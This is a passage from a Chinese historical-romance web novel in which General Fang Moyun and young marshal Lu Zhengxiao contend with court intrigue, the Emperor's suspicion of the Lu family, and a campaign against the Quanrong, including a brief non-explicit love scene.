而此刻嬷嬷率先跪下，抖声哭诉言辞连珠，声泪俱下地说道：“老太君啊！元帅啊！咱们这位方将军，她居然蛊惑十二皇子，在圣上面前搬弄是非，如此居心叵测地污蔑咱们长公主，说什么擅自调兵，险害皇子……这要传出去，成何体统啊！长公主是来帮卢家军的啊！”
老太君顿时双眉锁得更紧了，这是茉云能干出的事她也知道，这丫头素来对她容不下的人是绝不手软的。可元帅顿时锁紧双眉看着嬷嬷，神情中显然有些不悦！
那樊嬷嬷一边说，一边用帕子抹泪，声音越发凄厉：“长公主这是何苦啊，血脉至亲竟如此害她，如今连卢家军都不体恤她么？”
鸿音公主此时神态仿若圣贤，缓缓拢了拢衣袖，眼中似也有几许悲伤，但语气宽厚的说道：“嬷嬷莫说了，此时跟卢家军绝无干系。其实我个人荣辱，事小，我只是没想到，方将军会因私怨，而做出毁我合军同盟之大事……我五弟更是无辜，他初涉政务，一直兢兢业业，如今却落得如此地步。”
她声音凄婉，哀而不怒，好似她不是被质疑的一方，而是隐忍受辱、忍痛守义的悲情角色。
嬷嬷听得越发义愤填膺，拍案痛哭，嘴里更是骂声难止：“老太君啊，这等贱人，怎的能在军中张狂至此，还坏了盟军情义？她算什么东西？！”
此话一出，营中气氛顿时一沉。
老太君本就沉默，此刻眼神倏地一冷，眉宇间已有几分阴鸷之意，没好气的看向正啸说道：“你怎么看？”
“樊嬷嬷是亲耳听见还是看见了，方茉云将军唆使十二皇子在圣上面前说了什么？”正啸语声如铁，寒意四起，“而且我起初就觉得此事应该据实像圣上呈报！”
“少帅，公主还不怕是招致朝廷非议联军，若不是那贱人胡言乱语……”
“嬷嬷，世间之事，若要人不知，除非己莫为。真的假不了，假的亦真不了！”他说话的声音不高，却字字清晰，击在每个人的耳鼓之上，正啸心中明了，鸿音公主是对十二皇子没安好心。
鸿音眉头一动，转眸看向正啸，神色终于有了变化，仿佛一瞬之间，那一向端雅的神情背后，被揭开了不为人知的锋芒。
嬷嬷大惊失色，脱口而出：“少帅？！您怎能……怎能这般不知图报？长公主带铁狮军万里来援，若非她，你们卢家军此战能有今日？皇后在天之灵都在看着呢！”
话音未落，正啸已冷然回视，眼中怒意虽敛，却寒芒毕现：“对，姑姑在天之灵看着呢，我卢正啸俯仰无愧，答应她的每一句话从未失言，我敢问嬷嬷一句，您可做到否？姑姑当年是这么吩咐您的吗？”
这一席话说完，营中鸦雀无声。鸿音脸色彻底沉了下去，嬷嬷张着嘴，却一句话都说不出。
怀逸则暗暗嘴角上扬地望向正啸，幼时自己见到的正啸，可一日不语一字，任别人如何恶言中伤，他都冷漠以对，如今却可以为了方茉云去狂怼别人……
老太君静静坐于主位，手中拐杖缓缓敲了敲地面，终于淡淡开口：“行了，没有证据之事不要在军中无端猜测，眼前最紧要的事是如何解决当前困境，而不是日日争执于无谓之事，有损军中将帅威名！”
此时，她一语定调，也就是卢家军亦不容任何人质疑方茉云。
烛火摇曳间，营帐内寒气暗流，风声渐急，好似无形中，有更大的棋局，正在悄然翻面。
数百里之外西境的西明城，依旧弥漫着雨后清新的气息，四周的街道和屋舍在云雾中若隐若现，仿佛一幅水墨画。茉云不禁深深叹息了一口气，若不是卢家军将士在前方浴血奋战，如何换得这般安居乐业，繁荣安康的景象……可这安逸中人，又有几人能体谅前方艰难？
更甚有人恨不得他们死无葬身之地，茉云带领着队伍归来，一路神情却有些沉重，众人只是以为她刚刚打完百行谷的胜仗，原本以为自己能有所展现，却突然被接到军令迫离开军营，让她心中愤懑。
而她心中压根是另外一番筹谋……
到达西王爷府之时，她踏入大门穿过府邸的前院，进入了那座宽敞的大厅，圣上此刻还在西王府，他并未返回京城。
午后的阳光透过雕花窗棂洒在地上，略显昏暗，空气中弥漫着一丝慵懒的气息，圣上应该是在午后小憩，高公公让茉云在殿中等待。
就在这时，西王爷也缓步走进了大厅，看到茉云，眼中闪过一丝犹豫，他本想给她一个眼色，示意她要小心言辞。
然而，茉云却毫不犹豫地望向西王爷，淡淡开口：“西王爷，您帮我问问，圣上何时能召见我，我要向圣上请旨辞官归故里。”
这话一出，整个大厅安静了几秒，所有人包括公公和侍卫都怔住了，目光齐齐投向茉云，震惊与不解写满了每个人的脸上。
而此时皇上亦缓缓走出，正好走到了大厅内室，他忽然停住了脚步，此时连在皇上身旁的十二皇子，都忍不住愣了一下，目光望向大厅的方向。
西王爷一时间没有言语，晃过神之后，眼中闪过一丝怒气，低声问道：“为何？”
茉云毫不退让，冷冷地望着西王爷没好气的说道：“千里马常有，而伯乐不常有。我刚带着大军过了百行谷，转身就被赶出军营。既然才能得不到施展，还不如回家养老。”
她话音未落，皇上站在内室半眯着眼睛，挑眉望向大厅。
西王爷顿时恼火地低声骂道：“等下圣上面前，你别胡说八道！”
然而，茉云依旧倔强地站着，她的眼神没有丝毫动摇：“胡说八道什么？让他的长姐去帮他大忙，我不干了。”
西王爷显然被她的执拗激怒了，他指着茉云怒声骂道：“你就这点气量！”
茉云冷冷地回敬道：“一点没错。”
这时，突然传来脚步声，皇上终于走了出来。大厅内的人顿时跪下行礼，茉云也立即恭敬跪了下来。
皇上静静地走到椅前，冷冷地看着茉云，目光透着几分威仪凌冽之气。
茉云却毫不迟疑，跪下便清楚地开口道：“请圣上赐旨，允许我辞去军职，回归故里。”
那一刻，所有的目光都集中在茉云身上，西王爷一脸恨铁不成钢的表情瞪向茉云，皇上的目光微微一沉，空气中弥漫着一种说不出的紧张感。
“这其中缘由臣也一言难尽，请皇上恩准。”茉云却一脸执拗的说道。
皇上微微挑眉，看向茉云嘴角微扬，意味深长的说道：“罢了，传旨让元帅坐镇军营，命少帅速来西明，自己处置吧。”
“是！”
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“方将军，你还不跪安！”高公公看向茉云小声提醒道。
“我！”茉云不服气的还要继续请辞。
此时西王爷瞪向茉云，一改平日里的嬉笑神情，没好气的骂道：“叫你跪安就跪安！”
茉云则咬牙一脸没好气的磕头跪安之后告退了，退出庭院之后，眼中闪过一丝寒光，她知皇上定在思虑召见正啸与否，她就是想给皇上一个由头，让他和正啸见一面，之后的一切决断都会由此开始……
翌日，阳光穿过院中垂柳斜洒而下，青砖黛瓦之间泛着柔润的光。西王府的□□院今日格外热闹，王爷府的戏台正唱着戏，唱腔悠扬，锣鼓轻敲，水袖翻飞，极为动人。
圣上身穿常服倚在阔背太师椅中，手执一柄白纸折扇，微风拂面，显得些许惬意。
西王爷坐于身旁，一身玄青圆领便袍，手里端着一盏热茶，一边为皇兄轻轻续水，一边陪笑道：“皇兄，别的不说，这吃喝玩乐之事，还是您臣弟我最在行。您看这戏台班子，这世上除了京城的周家班，还能找出几个比得上的？”
“戏是唱得不错。”圣上轻摇折扇笑道，言语温和，却不失帝王威仪。
西王爷闻言喜不自胜，转头高声吩咐府中下人：“听见没有？连圣上都夸了我的戏班，必须要重赏戏班！”
众人哄然应声，谢赏声一片，都恭贺皇上万寿。
圣上却望向西王爷，眸中含笑：“那你想朕赏你点什么？”
西王爷一脸嬉皮笑脸的说道：“臣弟自小就是个荒唐货，蒙皇兄不弃，本也没什么本事，心中就只有这吃喝玩乐，皇上在我这儿听戏听得好，臣弟就万分开心。”
圣上眼神回到了戏台上，好似轻描淡写笑着地道：“你啊……这些年就知吃喝玩乐，倒是也难得看你如今这般提携晚辈。”
此话一出，周遭忽然一静，原本还满是笑意的十二皇子，放在桌下手指微微一紧，目光不由自主地朝圣上投去，连他的背脊上浮起一层冷汗。
西王爷神色微顿，却没有回避，反而眼神郑重地凝了片刻，然后深深一叹回道：“臣弟不敢隐瞒皇兄。的确，自茉云在西南部落领兵攻打西宁城时，我便对这她格外关照。”
圣上眸光不动，静静望着戏台，淡淡问道：“是吗？她何以让你如此关切？”
西王爷目光渐渐浮出一丝遥远而沉重的回忆：“她让我想起了皇嫂……她虽远不及其皇嫂风骨，但当她披甲挂帅上马那一刹那的背影，竟像极了那年冬，皇嫂破敌于雪岭之巅……”
他的声音略带哽咽，终究没再多说，低下了头。
圣上的眼眸中却浮起了些许沉痛，那是一种藏得极深、轻易不为人道的思绪，他将视线从戏台收回，淡淡开口：“你自小无心其他，却最重情义，你能记得她就好……”
西王爷闻言眼眶瞬间泛红，泪珠倏然滚落，他抬袖擦了又擦。
圣上眼中闪过一丝无语失笑，折扇轻轻敲在他肩上：“你皇嫂当年就说你，说不定七老八十了还会是成日哭哭啼啼……你果然就这这般有出息。”
两人对望，西王爷顿时哽声又傻笑了起来，可两人笑意之中皆有几分凄然。
十二皇子默默坐在一旁，始终恭谨不言，直到此刻心中才暗暗松了一口气。是自己多虑了，西王爷能得父皇如此信任，自有其分寸，而这道试探，看来他也替茉云挡了过去。
而他远远望去院中戏台上，台上女旦正唱至——风雨如晦，情义难全，一声一声，穿云裂帛，如箭入心。
359.圣意
西明城细雨初霁，王府内道路上还云气未散，松柏间微风徐来，正啸一身玄衣披风，风尘仆仆踏入西王府正厅，神情肃然步履坚定。
正啸一入西王府，便即刻前往正殿参见圣上。
殿门外，李公公早已候在檐下，见了他忙迎上前，一脸慈爱的笑容：“少帅一路风尘仆仆着实辛苦，但皇上此刻正在歇息，命老奴在此等候少帅，您不妨先行休整，待圣上醒来便会召见少帅的。”
正啸抱拳行礼，语气恭敬的说道：“劳烦李公公转达，臣遵命。”
话音未落，身影已转身而去，他自不会真去休息，而是直奔旁院，他入府之时便知茉云此时也在府中待命。
房门半掩，正啸欲推门而入，门内便骤然一脚踹出！
“砰”的一声，几近要把门合上——可那脚还未落下，已被一只有力的手掌稳稳挡住。
门一推开，正啸看见她剑眉倒竖，怒目圆瞪的样子，非但不怒反倒笑了，像是多日心头积郁被顷刻拨散。
他望着茉云连嘴角都不自觉轻扬，眼神里带着几分玩味：“还未消气？”。
“卢大人！”茉云开口语气冷得像冰，“请问您有何吩咐？”
万莫站在正啸身边一脸不解的望向茉云说道：“这不是在中州！你为何称少主卢大人？”
茉云心想自己都被气糊涂了，旋即又一脸气急败坏地继续质问道：“行，你少主是堂堂少帅！可他把自己当卢家军的少帅吗？为将士们考虑过吗？为卢家军考虑过吗？堂堂一军统帅，竟将战事拖入如此危局之中！你所言所行配得上少帅二字？你还想要我如何称呼你？”
正啸静静地听她劈头盖脸一通斥责，不辩不怒，等她一口气骂完，才慢悠悠抬眼，嘴角一挑：“夫君？”
一句话，四座皆愣，连在廊下另一旁的千山都一时没反应过来，张大了嘴巴看着自家少帅。
茉云也怔了一瞬，白眼翻了个天：“你想得美！”
她转身便要走，却终究被逗笑了，嘴角轻轻一扬，气虽未消，火却散了七分。
院外高台之上，圣上负手而立，远远看着这一幕，风吹起他袖袍轻动。他眸光微垂望着那两人一前一后，你来我躲，眼角竟浮出一丝淡淡笑意。
可顷刻间，圣上目光中又掠过一抹难以察觉的寒光，轻轻说道：“传少帅来。”
殿门开启，正啸身着玄衣，满身风尘未洗，跪地拱手沉声行礼道：“臣卢正啸，叩见皇上。”
圣上的眸光一顿，望见那跪下的身影，眼中本冷冽如霜的光，却倏忽间软了几分，竟浮出些许慈爱，那是极少为人所见的目光。
立于一旁的十二皇子看在眼里，心头亦不由感叹，想起自己和诸皇兄多年朝夕，竟无几次从父皇眼中得见这般柔光。
“平身吧。”圣上轻抬手道，随后他抬眸一扫殿中众人，淡然道：“你们都退下。”
殿中除了李公公留下，其余人包括侍从皆伏身退出，大殿顷刻寂静，唯余风掠帘幔，低响如潮。
圣上移步案后，端起茶低声问道：“啸儿，前方战事可还顺利？”
正啸抬眼，望见皇上鬓角竟添数缕苍白，心头微动轻声答道：“一切无恙，卢家军誓为皇上守疆固土，此战必胜。”
“嗯，”圣上微点头，忽而语气低沉却意味深长：“你也必须要……凯旋而归。”
正啸沉默片刻，郑重点头：“石。”
圣上指尖摩挲着茶盏，片刻后才道：“大战将成之时，往往风云四起……鸿音，是否让你为难了？”
正啸眉宇一凝，却仍言辞稳重：“两军合营，偶有分歧在所难免，然共抗峑戎是我等一致目标。”
圣上却忽地冷笑一声，眸中寒光再现：“一致？她不过是想借机扶持五皇子之势罢了。”
正啸抬眼看向圣上，神情仍坦诚如常，沉默不语。他素来不言皇子之事，不评权争利害。
圣上则目光如炬的望向正啸：“那日你不顾生死，深入百行谷，是不是早知……十二已中计？”
正啸神情微变，胸腔仿若被风雨击中，他不想骗圣上，所以只能沉默。殿中气压骤然凝重。
李公公眼见皇上不悦，连忙语带劝诫的说道：“少帅，皇上问话，快应答。”
正啸终于深吸一口气，缓缓道：“回禀皇上……臣不敢妄加臆断，无确凿之证，不想轻言是非。只是……当时情势凶险，谷中显然有敌军埋伏，臣心中便知十二皇子必是陷入危局。”
此言一出之后，殿中恢复了寂静。圣上的目光久久落在正啸身上，眼中却又浮出一丝深重——他知啸儿为人，一身正骨、从无狡诈，如今他身负重伤、却心事重重，连与自己说实话都这般迟疑。
“你是耿直坦诚，血气方刚之人……”圣上轻声呢喃，眼中透出深意，“如今，却也学会了隐忍。”
正啸抬头看向那位少时自己至亲的姑父，如今高坐于九五至尊之位的君王，眼中浮起万千情绪，终归一语：“臣但求不负君恩，不负百姓。”
圣上听罢未语，指尖轻敲案几，良久无言——这场问心之对，好似落在殿外细雨之后，徒留风声，却沉重如鼓。本就是一场无言的对峙，以正啸的心性他俯仰无愧，便不会低头，而圣上觉之他永远该和自己一心，无所隐瞒。
圣上目光凝视着面前跪伏的正啸，良久后缓缓叹了一声，似疲惫，又似怅然的试探道：“啸儿，可是很多事，你终究也要面对——如朕当年一般。祖宗基业，江山社稷，总要有人担起这千钧重担。你觉得这天下，交给哪一位皇子最合适？”
正啸眉头紧锁，毫不迟疑地抬头答道：“臣以为，此等大事，还请皇上乾纲独断。”
圣上目光微动，忽而语气转寒冷声问道：“若是如此，那卢家为何包庇鸿音？”
殿中气温骤降，正啸却目光如炬，拱手深吸一口气，神情却异常坦荡的说道：“皇上，此事，卢家军有罪，臣不敢推脱。实因父帅念及当年姑姑之情。但绝非包庇。”
圣上脸色一沉，眼中寒光如刀锋一闪：“所以你是说，包庇之因，是因为昔日亲情？那莫非……卢家还为了昔日亲情欲助五皇子登位？”
此言如雷震响！正啸闻言神色一变，声音亦如磐石般坚定地说道：“圣上，臣愿以性命为包！卢家绝无此意！”
圣上猛然起身，怒意翻涌：“朕力排众议，令你统兵南下，代老卢帅完成夙愿，剿灭峑戎，以昭家门英烈之志！你却如此不自爱，竟隐瞒军报，私护外邦！你日
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后如何面对朝堂？你又让朕如何面对列祖列宗？”
殿中气氛凝如寒霜，正啸双拳紧握，但眉宇间却无一丝退意，任圣上如何揣测，他心中都对得起圣上和朝廷！
而此时殿外回廊一隅，茉云立于暗处，静静听着殿中只言片语，当那句“让你亲率大军，是为了完成卢家之志”落入耳中，她眼底顿时掠过一丝寒意，冷笑道——这世上竟有如此荒谬之事，于圣上而言，这一切只是为了卢家“心愿”？
殿中，圣上见到正啸如此执拗的表情，顿时怒意更甚冷声喝道：“卢正啸，我看你现在就是被她们吵昏了头！那方茉云，勇有余而谋不足，终究不是统军之才。朕决议——调她回京，远离军营，以免扰你心智。”
这一言落下，如重锤砸心！正啸猛地抬头，脸色霎时惨白。他听得明白，皇上的调她回京是何意，不是削职，而是敲响茉云跌入深渊的丧钟。此举一出，茉云旋即将跌入京城旋涡。
正啸顷刻间陡然跪地，握紧的双拳带着颤意，咬牙说道：“姑父，啸儿之罪啸儿愿承担，求您网开一面，切莫在此将战之际，调撤将领动摇军心！”
一声“姑父”，终于让圣上心头一颤，怒意虽仍在，却终归缓了几分。他未言语只是长叹一声回身坐下，手中茶水早已凉透，眼中翻涌的情绪，复杂如沉河深海。
殿中寂静得怕人，正啸忽然重重伏地，额头磕在冰冷的石砖之上，声音沉闷却震心。这一“求”，低沉却铿锵，是赤诚忠臣的屈膝，更带着血与骨的痛。
此时殿外的茉云却咬紧了牙关，正啸跪地和磕头之声她听得如此清晰，顿时愤怒得握紧双拳，紧得指甲好似插入拳中——皇上居然在以自己，胁迫着正啸低头和屈服。
皇上眼神微闪，半晌才坐回御座，冷声开口：“罢了。朕已下旨，命十皇子为督军，随你一同征伐峑戎。”
话音未落，殿中气氛顿时骤然一变。正啸猛地抬头，眼中神色再难掩震动。茉云亦在殿外一震，更是眼底骤然掠过惊诧与冷意。
十皇子，乃太师外孙，是皇贵妃之子，多年在朝中一直潜隐不语，此刻却忽被圣上钦点入军——皇帝这一步棋，终于将心思露出了冰山一角，可此人若入军会是一番怎样情形……
皇上目光落在正啸脸上：“十皇子虽出自太师门下，可他在朝中素来替你卢家说话，素有公允之名。如今入军，也可帮你分忧，更能堵住朝中悠悠众口。啸儿，你该知朕之用意。你若为国为军，就别再有执念。”
正啸心头骤然紧缩，拳指微微颤动。他终于明白这不单是军中之局，更是朝堂之计。他此刻却无法动弹，因为他有了软肋……
皇上看得出正啸眼中震动，缓缓开口，语气冷得近乎透骨：“倘若朕终选十皇子继位，他也将是你的君王。你也该知臣子的本分！”
这一句话，如锋刃直刺正啸之骨。正啸顿时紧闭双目，再次重重叩首，牙关咬紧地说道：“臣，遵旨。”
那一刻，殿外的茉云却冷冷地笑了，眼中透出了至深的狠戾，既然如此她已不再迟疑——眼前这条路，已经没有退路可走。
不只是为自己，更是为他、为军中将士，若想活下去，她唯有跟他们斗下去，哪怕他是圣上，是正啸至亲之人！
360.宣泄
夜色沉沉如墨，西明城外，驿馆的重门缓缓掩上。卢正啸独自夜行，身披玄色披风，身影修长却透着月光照不进地沉重。
陪皇上用完晚膳，他已将身为臣子的礼数与冷静用到了极致。可这一路回来，心中翻涌如潮——圣上今日言语，所有的猜忌和裹挟好似一把利刃，剖开了他所有的忠诚与孤绝，逼他低头，迫他妥协……。
而且那十皇子是太师之外孙，此人若入军，岂非盯着卢家军心脉？圣上之言为辅佐，实则是钉入卢家军心口的铁针。他怎不知朝廷所谋？还不是怕他功高盖主，心有图谋，可他是臣，是卢家军的少帅，自己没有选择的资格，更何况皇上用茉云做要挟，自己便没有了任何反抗的余地。
他踏入房间，将驿馆房门一合，四下一片寂静，屋中未点灯，漆黑得好似连空气都凝结了。
正啸站在屋中一隅，背影与黑夜融为一体。他没有卸下披风，也没有落座，只是静静地立着，良久后，好似整个人被夜吞噬。
就在这时，房门忽然被轻轻推开。一阵熟悉的气息挟着夜风而入，下一瞬，便猛地扑入他的怀中。他只觉心头一震，抬手便搂紧了她。
是茉云，她没有言语，只是抱正啸抱得紧紧的，好似再也不愿松开。她的肩微微颤抖，像是压抑了一整日的屈辱、悲伤与疼惜，都在这一刻宣泄。
正啸忽然抬手深深地托住她的后脑，一低头，便在她唇间深深吻了下去。
这个没有言语的吻，带着满腔忿然的压抑，带着命运践踏的隐忍，像是天地只剩下他们二人。
夜幕如漆，寒意渗骨，在这一间无灯的房间之内，在这天地间最孤绝的角落，尚有一线微光——彼此的气息，尚能相暖，尚能安身。
唇齿相依间，那一吻带着所有沉重的释放，亦带着再也无法遮掩的思念与渴望。每一个轻抚、每一寸靠近，都像是刀光剑影之下追寻的温柔，只求眼下这方寸之地，能让彼此短暂地逃离这世道的险恶。
目光交汇间，情火蔓延，衣袍散乱间，灵魂与身体皆共鸣，在黑夜之下交融、起伏、沉沦。他早已不是单纯的欢愉，而是苦难与命运交错下的缠绵，是一场无声抗争的慰藉。
直到夜半时分，月光终于透过高高的窗棂，洒下一方清辉，静静落在那张微皱的榻上。
光影斜斜，地上映出两道相拥的身影，茉云坐在正啸的怀里。靠在他的宽厚的胸膛前，静静的喘气，正啸轻轻拿过薄毯，覆在茉云身上，然后俯身在她颈窝深深一吻。
茉云眼底浮出一抹痛惜，她不禁将脸靠向正啸的头，伸手轻抚他的脸，问：“他为何要如此待你？”
一句话，如轻羽般飘落，却重如千钧。正啸闻言，双眉微蹙，沉静地望向她。那眼神里藏着太多不能言的真相，不能言的憋屈，不能言的无奈。
他没有开口，只是将她紧紧揽入怀中，像抱住他此生唯一的安宁。他闭上眼，任思绪在黑夜里翻腾，却强迫自己沉入这片刻的温存中，哪怕只是一夜逃亡。
茉云能感受到他白日里的克制与心寒，亦能感受到他心中的屈辱，此刻她的眼中，不再只是柔情。而是眼底悄然透出了一丝彻骨的狠戾——如霜刃初铸，藏锋待发。
若这世道偏要把他们逼入绝地，那她劈也要劈出一条路来。
茉云深吸一口气，抬眸望着他那轮廓分明却疲惫万分的脸，忽而伸出指尖，轻轻地描过他眉梢与脸庞：“你亦不是第一日知晓圣上，何苦如此愁眉不展！”
正啸亦微微蹙眉，未有言语。
茉云眼神中瞬间透出一丝狡黠的笑意，忽然轻声唤道：“夫君。”
正啸一愣低头看她，顷刻就被她逗笑了，眼神温柔得近乎宠溺。
四目相对，月光洒落在他们的眼睫与鼻尖，他俯身又深深吻上她的唇……
他一生素来冷峻，只有她，能轻易勾出他的的笑意。就如当年在中州，那亦是个阴霾不开的深夜，他初见她言笑从容，剑眉飞扬——自那一刻起，心其实好似就再也无法抽身。
翌日清晨，天光微亮，屋外晨雾未散。正啸已整装完毕，那一刻，他的眼神中便恢复了将帅的坚定。离去前，他转身一把将茉云拥入怀中，长久不舍，像是将她的温度刻进骨血里。
他低头，深深吻了她的额头，声音低沉：“答应我，保重好自己。”
茉云抬眸看着他，眼神中没有依依难舍的软弱，只有沉静坚定。
“那你也答应我。”她望向正啸的双眸坚定地说道，“我能体会你对圣上的忠诚，亦不想与你争执是否值得！但——无论如何，也不能牺牲战事，不能放弃南境百姓和你爷爷我义父平定边关之一生夙愿，还有不能舍弃你自己。”
正啸怔了一瞬，眼底闪过几分复杂。他们互相都能看穿彼此骨子里的执念，甚至比对方还要更清楚。
最终正啸点点头，说道：“我答应你。”
两人再次紧紧相拥，这一刻的温度便可抵御所有风雨。
良久，正啸松开她，转身走出房门。披风在晨风中轻扬，步履坚定恢复了往昔征战万里的身影。
茉云望着他逐渐远去的背影，轻轻深吸了一口气，眼神中透出了深深的不舍。
而此刻，清晨的王府书房，窗外树影婆娑，檐下细雨微凉。
正啸走入圣上之书房，郑重叩首行礼后，低声道：“臣卢正啸，特来向陛下辞行。”
圣上坐于案后，神情如常，只点了点头。
正啸便毫无犹豫地起身，抱拳一礼，转身便要离去。
就当脚步已至门槛之时，身后忽然传来那道熟悉却低沉的嗓音：“啸儿。”
正啸身形微震，终究还是停下了脚步。他没有回头，只微微侧身，静静等着那句未完的话。
圣上缓缓开口，语气竟带着几分难言的感慨：“姑父年纪大了。为了祖宗社稷，总要为这天下觅得一个能担当大任之人……若朕的儿子有一人像你，更或者说，若你是我和你姑姑的儿子，该有多好。”
这话一出，书房内霎时一静，连西王爷都不禁有几分吃惊的看着圣上。
正啸则猛然转身，旋即跪地叩首道：“臣不敢当！”
众人皆惊愕的看向皇上，自古皇亲贵胄的血脉是何等高贵的，这样的话出自一位帝王口中，是多么深沉的信任和看重。
圣上抬手轻叹，眼中浮现一丝罕见的落寞：“我知道你怎么想。你觉得朕派十皇子下军，是要掣肘你，是不信你！但你可曾想过朕的苦心，朕知道你必能凯旋，可是凯旋之后，你将如何在这朝堂暗涌之中
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脱身。”
正啸抬头，眼神微顿看向圣上。
“战功再盛，自古一人独担天功的臣子有几个有好下场。十皇子与你共历险境。共立军功，日后朝堂亦不会将你视作好大喜功，弑杀好战的孤臣独将。”
西王爷此时亦看向圣上，此时他好像不是高高在上的圣上，而是一个苦口婆心的长辈。
圣上话锋微转，声音低沉而缓缓：“而且啸儿，若十皇子之气量尚不能容你，不能容卢家军，那朕便不会寄厚望于他？奈何……朕和你姑姑终无子嗣。”
正啸望着圣上，他脸上褶皱更深，眉宇之间，也多了掩不住的疲惫。
这位九五至尊天下之主，此刻却像是一个年迈的家长，不得不早早思量身后事当如何安置。
圣上起身，缓缓走至他面前，语声低了几分，却更沉重：“你们卢家，和太师袁家，还要世世代代斗下去吗？啸儿，你再执拗，朕百年之后，谁来护你？”
一句话如重锤，落在正啸心上。
他终于抬头，望向这位曾执他手教他骑射、策马、为人处世的长辈，只得一脸坦然的说道：“啸儿，明白了。”
圣上眸中寒意散去，温和的笑了，伸手拍了拍他的肩：“去吧，南境尚未安，朕的江山要靠你撑着。但你记住，朕要的不只是大战得胜，还有你必须活着回来。”
正啸深吸一口气，郑重叩首道：“臣遵旨。”
正啸再次行了大礼之后，转身离去，背影挺拔如山，步履无声却坚定。
圣上目送他离去，眼中泛起一丝欣慰的笑意。西王爷不知心情复杂地望着那道身影远去，轻轻叹了一口气，心底喃喃道：“这孩子终究不是皇兄的儿子，却像极了皇兄想要的模样。”
圣上默然站了良久，窗外细雨，愈下愈密……
夜里，西王爷的府邸内，灯火微弱，夜风从窗棂吹进，好似带着远方的风雷。
西王爷低声将圣上白日之言，一字不漏地告知了茉云之后，长长叹息道：“皇上也有他的苦衷，要为江山社稷考虑。”
茉云倚在桌前，双手抱臂，静静听着西王爷的言辞，嘴角浮现出一抹冷凌的笑意，眼神依旧如寒冰一般，没有一丝温度。
“苦衷？”她冷笑了一声，声音低沉却极具压迫感，“这些虚伪之言，只有卢正啸和你会信。我方茉云，半分感动不了？”
西王爷微微一愣，显然未曾料到茉云如此直言。
她的眼中闪过一丝狠戾，低声道：“皇上心里有数，大战凯旋之后，当然是要压制卢家的，所以他扶持太师的外孙十皇子！作为帝王他也没错！”
“你这孩子……”西王爷一时都不知如何接话。
她抬起头目光如刀的望向西王爷：“但就实在无需道貌岸然的说这些，他们心中所想和手段所用，让他们的言辞都变得何其荒谬可笑。那些所谓的仁义，都是他们权谋的遮掩布罢了，却还想骗得卢正啸束手就擒。既然如此，那就让他们都等着吧！”
茉云转身走向屋外，望着外面依然飘洒的细雨，冷冷地笑了，皇上、十皇子、鸿音，他们所有人都在算计卢家军，算计正啸。可是一个人算计一生，总有疏漏，终会自食恶果……
西王爷站在那里，目送她背影，久久未曾开口。
361.自由
夜深如墨，西明的天穹仿佛被一整块黑缎蒙住，连星光都收敛了锋芒。
茉云披着一件素袍，独自站在石阶上。夜风拂过她的鬓发，也吹动她手中的信鸽白羽，她的指尖微微一抖，松开了信鸽。
白鸽悄然飞出，在夜色中化作无声的皎洁，掠过屋檐，掠过庭院，朝着漆黑无边的方向振翅而去。
茉云仰头望着那黑漆漆的天空，内心波澜翻腾……
那一刻，她的神情如冰锋般冷峻，唯有唇角轻启，低语道：“希望你不要怪我失言。”
风静无声，她知道，从这一刻起，她已背离了与正啸曾经许下的承诺——不陷入朝局，不与太师党牵扯，不动任何私意去拨弄皇子之争。
可局势之深，敌意之恶，远远超出他们的相信。鸿音、十皇子、太师，还有那始终面带仁厚，世人皆说待正啸如此亲厚的圣上，他们每一个人都在暗中布棋，招招狠辣。她若不与他们一斗，卢家迟早被人吞得骨血不剩。
“既然如此，”她轻轻一笑，声音散在风中，“那就让我一搏，看能否护你这最后一局。”
与此同时，正啸夜以继日策马赶回大营，清晨，他一身玄甲未解，风尘未洗，于晨光破晓之际策马踏入卢家军营。
他回营便下令整军，准备抓住了雨后的契机，发动奇袭，猛攻百兴城。可怀逸却建议他，百兴城，乃峑戎重要屏障，这一军功可以送给刚来军中的十皇子，正啸也明白怀逸之意，所谓投桃报李，也算是给十皇子一个体面的入军之礼，可是他身为军中统帅，明白军事之机，时不待我。
而且正啸心中知晓十皇子一来，军中将变得复杂，各方目光交错，他必须抢在一切混乱之前，打出胜仗、稳住军心。
营帐之上，顿时战旗高扬猎猎生风。这一战，他必须要在绵绵雨季之后，为大军立势，为卢家军立威。
百兴城的战斗以迅雷不及掩耳之势展开，卢家军在正啸的指挥下迅速包围了城池。经过数日的激战，城池抵挡不住强大的卢家军和铁狮军联手攻势，终于在正啸精心策划的一场夜袭后，百兴城的城门被打开，卢家军成功拿下百兴城。
胜利的号角响彻云霄，百兴城的街道上布满了卢家军的旗帜，卢家军的士气空前高涨。
然而，在这一场大捷之后，正啸深知，战斗并未结束，接下来的局势将更为复杂。在胜利的欢庆之后，他迅速下令稳固防线，确保大军的供给，修整大军抚慰伤员，让卢家军的战力持续。
就在大军稍作休整之际，十皇子终于按圣命抵达军营。十皇子的到来并未施加任何压力，反而让人感到一种微妙的亲和力。
他在朝中本就素有贤名，举止温文尔雅，待人礼貌周全，他一入军中便对卢家军十分的恭敬，尤其对正啸。
“少帅，劳苦功高，感佩至极。” 十皇子首次见面便表达了崇敬，语气诚恳，毫无半分傲慢之意，令其他将领都难以想象他出身皇室的高贵。
卢家军的将士们纷纷上前行礼，气氛和谐，但唯有铁狮军，脸上显现些许尴尬的神情……
因为鸿音公主目光冷漠，坐在一旁并未参与过多的寒暄，她心中深知皇子的算计与权谋。十皇子虽恭敬万分的称她长姐，言辞中满是亲近，但她从小便知这些所谓皇室礼仪之后，隐藏的永远是深不见底的权力争斗。
而十皇子好似并未介怀她的冷漠，反而以礼对待每一位将领，包括铁狮军的将领。
鸿音冷冷地看着这一切，目光如刀，她心里清楚也是万分怨恨，若不是自己轻看了十二皇子，中了方茉云的计，十皇子不可能有今日的得势，也不至于让自己五弟陷入如此被动局面。如今十皇子来了军中，竟然还是带着尚方宝剑来的，他可携天子之令行事，这代表着父皇对其的极大信任与重视。
正啸心中更是清楚，十皇子的背后是深不可测的权力博弈。这把尚方宝剑亦是悬在卢家军头顶……可他如今亦不再多想，只想尽快能够将大军挺近峑戎都城，不让卢家军陷入这场权力拉锯之中。
大军已然如箭在弦，不得不发，而他知道，下一城，便是决定胜败的关键。
融机城，这座依山而建的城池，环山而建易守难攻，四周山路蜿蜒，险道重重，任何一条路都可能藏着敌军的奇兵埋伏。正啸的目光锁在那张行军图纸上，眉头紧紧锁住，心中却有着不安的波动。
他深知，若这一战失败，不仅是卢家军的失败，甚至可能让整个战局瞬间崩塌。
十皇子走了进来，站在正啸身边看着地图，眼中充满了崇敬与认真，他开口问道：“少帅，这融机城的攻城难度是否很大？我们是否应该考虑一番策略，慎重而行？”
